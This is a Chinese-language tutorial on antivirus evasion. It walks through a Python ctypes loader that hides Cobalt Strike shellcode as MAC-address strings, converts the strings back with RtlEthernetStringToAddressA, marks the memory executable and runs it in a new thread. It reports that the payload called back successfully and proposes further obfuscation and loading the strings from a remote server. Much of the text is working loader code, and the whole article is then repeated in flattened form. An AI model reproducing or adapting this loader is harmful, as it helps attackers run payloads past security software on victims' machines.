CS免杀-MAC加载器
字数 1509 2025-08-09 18:43:59

MAC地址加载器免杀技术详解

前言

本文介绍一种基于Windows API函数RtlEthernetStringToAddressARtlEthernetAddressToStringA的shellcode加载技术,通过MAC地址格式转换实现免杀效果。这种技术与UUID加载器类似,都是利用系统API将特定格式的字符串转换为二进制数据写入内存执行。

MAC地址基础知识

MAC地址(Media Access Control Address)也称为物理地址或硬件地址,是网络设备的唯一标识符:

  • 由网络设备制造商生产时烧录在网卡的EPROM(一种可擦写闪存芯片)
  • 在计算机中以二进制形式表示
  • 长度为48位(6个字节)
  • 通常表示为6组两位十六进制数,用连字符或冒号分隔(如:FC-48-83-E4-F0-E8)

核心API函数

RtlEthernetAddressToStringA

功能:将二进制格式的MAC地址转换为字符串表示

函数原型

NTSYSAPI PSTR RtlEthernetAddressToStringA(
  const DL_EUI48 *Addr,
  PSTR           S
);

参数

  • Addr:指向6字节二进制MAC地址的指针
  • S:指向接收MAC字符串的缓冲区指针

转换示例

\xFC\x48\x83\xE4\xF0\xE8 ====> FC-48-83-E4-F0-E8

RtlEthernetStringToAddressA

功能:将字符串格式的MAC地址转换为二进制格式

函数原型

NTSYSAPI NTSTATUS RtlEthernetStringToAddressA(
  PCSTR    S,
  PCSTR    *Terminator,
  DL_EUI48 *Addr
);

参数

  • S:指向MAC地址字符串的指针
  • Terminator:指向字符串终止符的指针
  • Addr:指向接收二进制MAC地址的缓冲区指针

转换示例

FC-48-83-E4-F0-E8 ====> \xFC\x48\x83\xE4\xF0\xE8

实现步骤详解

第一步:将Shellcode转换为MAC格式

  1. 申请内存
    • 计算所需内存大小:原始shellcode长度/6*17(每6字节转换为17字节的MAC字符串)
    • 使用VirtualAlloc申请可读写执行的内存
import ctypes

shellcode = b'\xfc\x48\x83\xe4...'  # 原始shellcode
macmem = ctypes.windll.kernel32.VirtualAlloc(
    0,
    len(shellcode) // 6 * 17,
    0x3000,  # MEM_COMMIT | MEM_RESERVE
    0x40     # PAGE_EXECUTE_READWRITE
)
  1. 分段转换
    • 将shellcode每6字节一组转换为MAC字符串
    • 不足6字节的用\x00填充
for i in range(len(shellcode) // 6):
    bytes_a = shellcode[i*6 : 6+i*6]
    ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
  1. 验证转换结果
a = ctypes.string_at(macmem, len(shellcode)*3 - 1)
print(a)
  1. 生成MAC列表(可选):
mac_list = []
for i in range(len(shellcode) // 6):
    d = ctypes.string_at(macmem+i*17, 17)
    mac_list.append(d)
print(mac_list)

第二步:将MAC格式字符串转换回二进制并执行

  1. 准备MAC列表
mac_list = [
    'FC-48-83-E4-F0-E8',
    'C8-00-00-00-41-51',
    '41-50-52-51-56-48',
    '31-D2-65-48-8B-52',
    # ... 更多MAC字符串
]
  1. 申请内存
    • 计算所需内存大小:MAC字符串数量*6字节
    • 使用VirtualAlloc申请可读写执行的内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    0,
    len(mac_list)*6,
    0x3000,  # MEM_COMMIT | MEM_RESERVE
    0x04     # PAGE_READWRITE
)
  1. 转换并写入内存
    • 使用RtlEthernetStringToAddressA将每个MAC字符串转换回二进制
    • 移动指针位置,依次写入内存
rwxpage = ptr
for i in range(len(mac_list)):
    ctypes.windll.Ntdll.RtlEthernetStringToAddressA(mac_list[i], mac_list[i], rwxpage)
    rwxpage += 6
  1. 设置内存保护并执行
# 修改内存保护为可执行
ctypes.windll.kernel32.VirtualProtect(ptr, len(mac_list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))

# 创建线程执行shellcode
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

技术要点总结

  1. 转换比例

    • 6字节shellcode → 17字节MAC字符串(如:FC-48-83-E4-F0-E8)
    • 转换后数据量增大,需注意内存分配大小
  2. 内存管理

    • 使用VirtualAlloc申请内存
    • 注意内存保护标志的设置(PAGE_EXECUTE_READWRITE)
  3. API调用

    • 两个关键API均位于ntdll.dll中
    • 需要精确控制指针移动和内存写入位置
  4. 免杀优势

    • 避免了直接写入可识别的shellcode特征
    • 使用合法的系统API进行数据转换
    • MAC字符串形式更不易被检测为恶意代码

测试环境

  • 开发环境:Python 2.7
  • 测试payload:Cobalt Strike生成的64位shellcode
  • 测试结果:成功上线
  • 免杀效果:未进行全面测试,主要验证技术可行性

扩展思考

  1. 可以结合其他编码方式(如Base64)进一步混淆MAC字符串
  2. 考虑从远程服务器动态加载MAC字符串列表
  3. 实现分段加载执行,降低内存占用和检测风险
  4. 探索其他类似的系统API转换技术(如IP地址转换API)

这种MAC地址加载器技术为红队操作提供了一种新的免杀思路,通过合法系统API实现shellcode的隐蔽加载,有效规避传统杀毒软件的特征检测。

MAC地址加载器免杀技术详解 前言 本文介绍一种基于Windows API函数 RtlEthernetStringToAddressA 和 RtlEthernetAddressToStringA 的shellcode加载技术,通过MAC地址格式转换实现免杀效果。这种技术与UUID加载器类似,都是利用系统API将特定格式的字符串转换为二进制数据写入内存执行。 MAC地址基础知识 MAC地址(Media Access Control Address)也称为物理地址或硬件地址,是网络设备的唯一标识符: 由网络设备制造商生产时烧录在网卡的EPROM(一种可擦写闪存芯片) 在计算机中以二进制形式表示 长度为48位(6个字节) 通常表示为6组两位十六进制数,用连字符或冒号分隔(如:FC-48-83-E4-F0-E8) 核心API函数 RtlEthernetAddressToStringA 功能 :将二进制格式的MAC地址转换为字符串表示 函数原型 : 参数 : Addr :指向6字节二进制MAC地址的指针 S :指向接收MAC字符串的缓冲区指针 转换示例 : RtlEthernetStringToAddressA 功能 :将字符串格式的MAC地址转换为二进制格式 函数原型 : 参数 : S :指向MAC地址字符串的指针 Terminator :指向字符串终止符的指针 Addr :指向接收二进制MAC地址的缓冲区指针 转换示例 : 实现步骤详解 第一步:将Shellcode转换为MAC格式 申请内存 : 计算所需内存大小:原始shellcode长度/6* 17(每6字节转换为17字节的MAC字符串) 使用 VirtualAlloc 申请可读写执行的内存 分段转换 : 将shellcode每6字节一组转换为MAC字符串 不足6字节的用 \x00 填充 验证转换结果 : 生成MAC列表 (可选): 第二步:将MAC格式字符串转换回二进制并执行 准备MAC列表 : 申请内存 : 计算所需内存大小:MAC字符串数量* 6字节 使用 VirtualAlloc 申请可读写执行的内存 转换并写入内存 : 使用 RtlEthernetStringToAddressA 将每个MAC字符串转换回二进制 移动指针位置,依次写入内存 设置内存保护并执行 : 技术要点总结 转换比例 : 6字节shellcode → 17字节MAC字符串(如:FC-48-83-E4-F0-E8) 转换后数据量增大,需注意内存分配大小 内存管理 : 使用 VirtualAlloc 申请内存 注意内存保护标志的设置(PAGE_ EXECUTE_ READWRITE) API调用 : 两个关键API均位于ntdll.dll中 需要精确控制指针移动和内存写入位置 免杀优势 : 避免了直接写入可识别的shellcode特征 使用合法的系统API进行数据转换 MAC字符串形式更不易被检测为恶意代码 测试环境 开发环境:Python 2.7 测试payload:Cobalt Strike生成的64位shellcode 测试结果:成功上线 免杀效果:未进行全面测试,主要验证技术可行性 扩展思考 可以结合其他编码方式(如Base64)进一步混淆MAC字符串 考虑从远程服务器动态加载MAC字符串列表 实现分段加载执行,降低内存占用和检测风险 探索其他类似的系统API转换技术(如IP地址转换API) 这种MAC地址加载器技术为红队操作提供了一种新的免杀思路,通过合法系统API实现shellcode的隐蔽加载,有效规避传统杀毒软件的特征检测。